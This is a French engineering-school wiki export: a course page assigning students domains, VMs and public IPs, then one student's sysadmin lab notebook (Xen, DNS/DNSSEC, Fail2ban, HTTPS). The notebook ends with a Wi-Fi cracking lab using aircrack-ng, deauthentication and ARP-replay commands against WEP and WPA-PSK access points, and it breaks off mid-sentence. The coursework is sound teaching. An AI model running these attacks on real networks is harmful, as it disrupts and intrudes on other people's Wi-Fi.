wiki-se.plil.fr - Contributions [fr]

SE4 IdO sécurité système/réseau 2025/2026

2026-03-03T15:26:23Z

Yyahiani : /* Répartition des binômes pour les travaux pratiques "administration système et réseau" */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
!numéro de binôme
!Adresse IPV4 OpenWRT
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|1
|193.48.57.177
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|
|
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|3
|193.48.57.180
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|4
|193.48.57.178
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|5
|
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|7
|
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|6
|193.48.57.179
|-
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi
|2
|
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|Styx
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|23
|-
|E14-Antonin
|24
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|-
|E8-Yassine
|18
|-
|E7-Ibrahim
|17
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|-
|PoolYassine
|10.60.8.0/24
|2001:660:4401:60a8::/64
|-
|PoolEvora
|10.60.11.0/24
|2001:660:4401:60ab::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E8

2026-02-27T13:27:26Z

Yyahiani : /* Sécurisation WiFi par WPA2-EAP */

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online :
[[Fichier:Dnssecrs7.png|centré|vignette|925x925px]]

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

Notre page web est maintenant accessible via http://rs7.online .

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

=== Cassage de la clé ===

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
